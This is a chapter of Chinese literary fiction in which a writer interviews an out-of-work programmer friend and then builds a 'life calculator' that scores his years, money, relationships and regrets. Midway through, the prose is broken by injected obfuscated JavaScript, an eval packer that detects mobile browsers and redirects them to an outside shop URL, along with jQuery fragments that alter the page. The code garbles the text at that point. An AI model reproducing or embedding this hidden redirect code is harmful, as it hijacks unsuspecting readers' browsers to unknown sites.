窗外那暮色，跟放凉了的茶差不多，由金黄变成灰褐，也就是一晃眼的事。叶凡坐在书桌前，台灯的光在他脸上明明暗暗，像心里有事没摁住。
他拨了个存了好些年的号。
“嘟——嘟——”
“喂？”那头声有点哑，背景里有炒菜的动静，滋啦滋啦的。
“华仔，我叶凡。”他停了一下，“问你个事儿？”
“叶凡啊！”姚华声亮了些，“啥事？说！”
叶凡翻着面前的本子，纸都泛黄了，密密的字像时间长的苔。那是2019年秋天，在姚华租的屋里记的——三十平米，堆满了编程书和他母亲的中药罐子。
“几年前我不是采访过你，想写写你的事么？”叶凡问。
“嗯，记得。”姚华声远了一下，大概是对边上人说“妈，盐少点儿”，又凑回话筒，“2019年吧，我给你说了一天。那天还下雨了，是不？”
“对，窗玻璃上全是水汽。”叶凡想起那个潮乎乎的下午，姚华说话时老看窗外，好像那些旧事都晾在铁丝上，随风晃荡。
“现在写到你带你妈离开你那酒鬼爹，去望海楼那边租房子那段了。”叶凡用笔尖在本子上轻轻点着，“那条胡同叫啥来着？我本子上记不清了，名儿好像有点怪。”
电话里静了。叶凡听见打火机响，一下，两下，然后一声长长的吐气。
“地藏庵。”姚华说，声很轻，“地藏庵大街。”
“啥？”
“地藏庵大街。”姚华重复一遍，“你刚说好像不是这名儿，但我这阵突然想起来了。就是地藏庵大街。”
叶凡赶紧记下这四个字。地藏庵——地狱不空，誓不成佛。这名儿，装着救赎，也装着苦。
“刚才咋说想不起来？”叶凡问。
姚华笑了笑，笑声里透着累：“可能是不太愿意想吧。那会儿……太苦了。这么小的屋子，没暖气，冬天墙上一层霜。我妈的关节炎，就是那时落下的。”
“可你们熬过来了。”
“嗯，熬过来了。”姚华顿了顿，“不过有时候我也琢磨，人这一辈子，是不是就是从一条地藏庵大街，搬到另一条地藏庵大街？”
叶凡接不上话。他听见那头传来敲键盘的声，轻轻的，但很密。
“最近活儿怎么样？”叶凡转了个话头。
键盘声停了。
“没找着。”姚华说。
“咋回事？”叶凡坐直了。在他印象里，姚华一直是那种绝境里还能敲出代码的主——凭自学编程，硬是把母亲从地藏庵大街带进了商品房，把酒鬼爹的影子关在了从前。
“没咋。”姚华语气平平静静的，平得让人有点不踏实，“今年开年，那新玩意儿起来了，能顶我不少活儿。我做前端的。”
“那能顶多少？”
“八成吧？”姚华说，又改了改口，“可能更多。上月我去面试，人家直接问：‘你觉得你比它强在哪儿？’我说我有十年经验。人家说：‘我们这东西，喂了四十亿行饭。’”
叶凡想说点啥，可所有安慰的话都显得飘。他想起2019年那个下午，姚华指着满墙的编程书说：“技术不坑努力人。”说这话时，姚华眼里有光，像深夜里屏幕上最后亮着的那行字。
“那你现在……”
“学新东西呢。”姚华截住他，语气又轻快起来，“总不能真让机器替了，对吧？对了，我那故事你还写不？”
“写。”
“写完发我瞅瞅。”姚华说，“我也想知道，在旁人眼里，我这一辈子算个啥账。”
挂了电话，叶凡对着“地藏庵大街”五个字愣了半天神。窗外天全黑了，城的灯一盏盏亮起来，每盏灯后面都是一个正在跑的人生程序——有的顺当，有的报错，有的在等一个永远回不来的数。
他忽然琢磨起一个事儿，一个关于人生的、屁用没有但非琢磨不可的事儿。
他管它叫“人生计算器”。
凌晨两点，叶凡坐在电脑前，屏幕上是刚写完的采访稿。他连续忙活了十八个钟头，就为弄清楚一家金融公司新搞出来的那套系统——据说能算出哪些人可能还不上钱，哪些投资可能打水漂，哪些人生可能走背字。
是的，人生。
叶凡停下手，看着自己记的笔记。那些如果这样那就那样，那些来回绕圈子，那些可能不可能。他突然想到，要是这套法子能算金融风险，咋就不能算算人生风险？
窗外，城市的灯还亮着。远处的写字楼里，有人和他一样还没睡。他们算着股价、汇率、赚头，算着一切能算的东西。
但没人算人生。
叶凡合上采访本，抽了张空白纸。
第一行，他写道：人生计算器 v1.0。
这算计得从几个简单的数开始。
出生日子、估计能活多久、一个月进多少出多少、心里真正装着几个人、一礼拜有多少时间完全属于自己、饭碗被新玩意儿抢走的可能性有多大。
叶凡停了下来。他意识到，人生的账远比钱账复杂。
钱账只需要数：本钱、利息、时间、风险。
人生需要啥？出生日子、估计寿命、收入、支出，还有...那些没法用秤称的东西。
“心里装着的人”，他写下了这几个字。
真正惦记你的人。想起你时会心里一紧的人。在你趴下时还扶着你的人。
叶凡数了数自己心里装着的人：父母、妹妹、两个大学室友、还有...前女友。五个。
不，现在可能是四个了。前女友大概不再属于这范畴。
收集这些数花了老半天，因为人生本来就长。
叶凡想起了姚华。那个在电话里说“我也想知道，在别人眼里，我的人生算是个什么账”的人。
她生日是啥时候？叶凡不知道。他该知道吗？他们是朋友，至少他认为是。
他写下了自己的生日：1983年2月26日。
一算：已经存在了大概一万五千六百五十五天。
约莫四十二点九年。
叶凡盯着这个数。一万五千多天。听起来不少，但已经过去了一大半。
估计寿命他按平均数写：七十五岁。
再一算：大概还剩一万一千七百二十天。
剩下的比过去的少了，这不是个好消息。叶凡觉得心里一紧。
过日子那部分，叶凡如实填了。
月收入：一万五。
月支出：一万二。房租六千，吃饭三千，交通通讯一千，其他两千。
每月能剩下：三千。
他开始算啥时候能存够一百万：
如果每月真能存下三千，存够一百万得二十七年又八个月。
也就是说，叶凡得干到七十岁才能攒够这个数。而那时，离他估计的人生终点只剩五年。
他苦笑。这就是普通人的存钱时间表，对中年人不怎么友好。
关系那部分让叶凡停得更久。
心里装着的人：五个。父母、妹妹、两个朋友。
他犹豫了一下，划掉了“两个朋友”，改成了“一个”。大学毕业后，还常联系的朋友就剩一个了。
每周完全属于自己的时间：他算了算。每天下班后大概三小时，周末大概八小时，总共约三十小时。但他写了“八小时”，因为真正高质量的、完全属于自己的时间，大概只有这么多。
他算了算关系浓度：假设每人每天需要半小时高质量陪伴，自己这点时间够不够？
结果出来：七十八点五分。
比想象中高。也许是因为他心里装着的人少，要陪的时间也就不多。
这是讽刺吗？朋友越少，关系浓度越高。
时代那部分最现实。
叶凡如实估了自己的饭碗被抢走的可能性：四十五分。
作为搞技术的，他正在参与弄那些可能取代别人的新玩意儿。但最新的消息说，那新玩意儿已经开始写简单的代码了。也许有一天，他写的东西会被他参与弄的新玩意儿优化，然后新玩意儿会弄出更好的新玩意儿，然后...
然后就不需要他了。
他算了自己跟上时代的程度：五十五分。
刚好过半数。勉强没掉队，但随时可能被甩下。
自己完整度的计算最麻烦：
财务压力是零点八（支出占收入的八成），独处时间占比是零点零四七六（八小时除以一百六十八小时）。
叶凡想，这么算合理吗？钱和时间，真的能定义一个完整的人吗？
也许不能。但啥能呢？
白头发速度的计算让叶凡笑了：
压力系数乘上年龄系数，结果是百分之二十八点九。
他已经有几根白头发了，在鬓角。母亲上次视频时看到了，让他注意休息。
他不知道这个百分比是啥意思。每年多百分之二十八点九的白发？还是已经有百分之二十八点九的头发变白了？
他摸了摸自己的头发。还是黑的，但确实白了一些。
最温暖的计算是笑过多少次：
假设小时候每天笑十回，长大了越来越少，关系浓度和自己完整度也影响笑容。
一算：总共大概笑过一万七千八百五十次。
平均每天：约莫一点二次。
叶凡回想今天笑了几回。早上看见只流浪猫：一回。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119443|195947||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中午同事讲了个笑话：一回。晚上...没有。
也许平均数是对的。有些天笑得多，有些天笑得少。
半夜醒来的次数：
压力越大，半夜醒得越多。
结果：大概两千零四十夜。
叶凡想，这大概是对的。他有失眠的毛病，尤其在想不明白事儿的时候，年纪越大，攒下的清醒夜越多。
比如现在。
后悔清单最扎心：
程序根据叶凡的人生状态选了三项：
1. 太早放弃了小时候的梦想
2. 用忙代替想，用热闹代替独处
3. 在虚的地方浪费了实的时光
小时候的梦想是啥？叶凡想了想。画家？不对。开飞机？不对。好像是...写东西。
他曾经想写小说，写那些算不清的人生。
现在他写采访稿，算那些能算的一切。
最后的综合评分：
叶凡的得分：七十一点五分。
评语：“在缝里找到了平衡，但时间不等人了。”
他盯着这个分数。七十一点五。百分制的话，是良好，不是优秀。
他的人生得了良好，并且随着剩的时间越来越少，这分数可能很难再往上提。
该满意吗？还是该追优秀？
追优秀需要干啥？赚更多钱？交更多朋友？更跟上时代？
他不知道。
完整的报告出来后，叶凡看了很久。
这就是他的人生账。输入几个数，输出一张单子。
清楚，明白，有点凉。
叶凡想起了姚华。他该把这琢磨出来的东西告诉她。
但他犹豫了。
姚华会怎么填他的数？他心里装着几个人？他每周有多少自己的时间？他的饭碗被抢的可能性有多大？
他不知道。
也许这就是问题。他能算自己的人生，但算不了别人的。就算用同样的法子，同样的公式。
因为有些数，只有自己知道。
有些结果，只有自己明白。
凌晨三点，叶凡终于琢磨完了。
他把那张纸折好，放进抽屉。
然后，他抽了张新纸，开始写点不一样的。
这一次，不算账。
而是写字。
关于算法算不了的东西。关于情分，关于念想，关于胆子。
关于那些半夜醒来时想的事儿。
关于那些笑的时候觉着的暖乎。
关于那些后悔时明白的理。
他写道：
“人生没法真算清，就像算盘打不出情分、念想和胆子。你那独一份的人生账，只能你自己来算。”
他把这张纸和刚才那张放一起。
这是第三十六章。关于一个人生计算器，和一个琢磨它的人。
叶凡关掉台灯，走到窗前。
城市还醒着，灯还亮着。
他想起了最后那句话：
地藏庵大街的灯光，终会照亮前面的路。
他住在南开，不是地藏庵大街。
但他知道，每条街都有灯。每盏灯下，都有人生。
每个人都在算着什么，被什么算着。
每个人都在打自己的算盘，被算盘打着。
叶凡拿出手机，找到姚华的号码。
他输入：“账我算了，但要提醒你，算出来的数只能看看。人生变数太多，算盘打不全。”
发送。
几秒钟后，回复来了：“就像天气预报，知道要下雨，但不知道雨滴长啥样。”
叶凡笑了。今天第二回笑。
他回复：“对。而且不知道哪滴雨会掉在谁肩膀上。”
姚华：“那就让它下吧。我带了伞。”
叶凡看着窗外。南开不怎么下雨，但他喜欢雨。
雨算不清，就像人生。
但人们还是算降雨概率，就像人们还是算人生概率。
也许重要的不是算得准不准，而是算的这个过程。是在算中明白自己，是在明白中接受自己。
叶凡回到桌前，打开抽屉拿出那张纸。
他在最后添了一句：
“记着：你不光是算盘上的珠子，也是打算盘的那只手。”
折好，放回。
窗外，天开始泛白了。
新的一天来了。新的账，新的人生。
叶凡伸了个懒腰，准备歇会儿。
睡着了，也许会有算不清的梦。
但没关系。
他可以醒了之后，试着用字说说它。
就像现在，试着用字说说人生。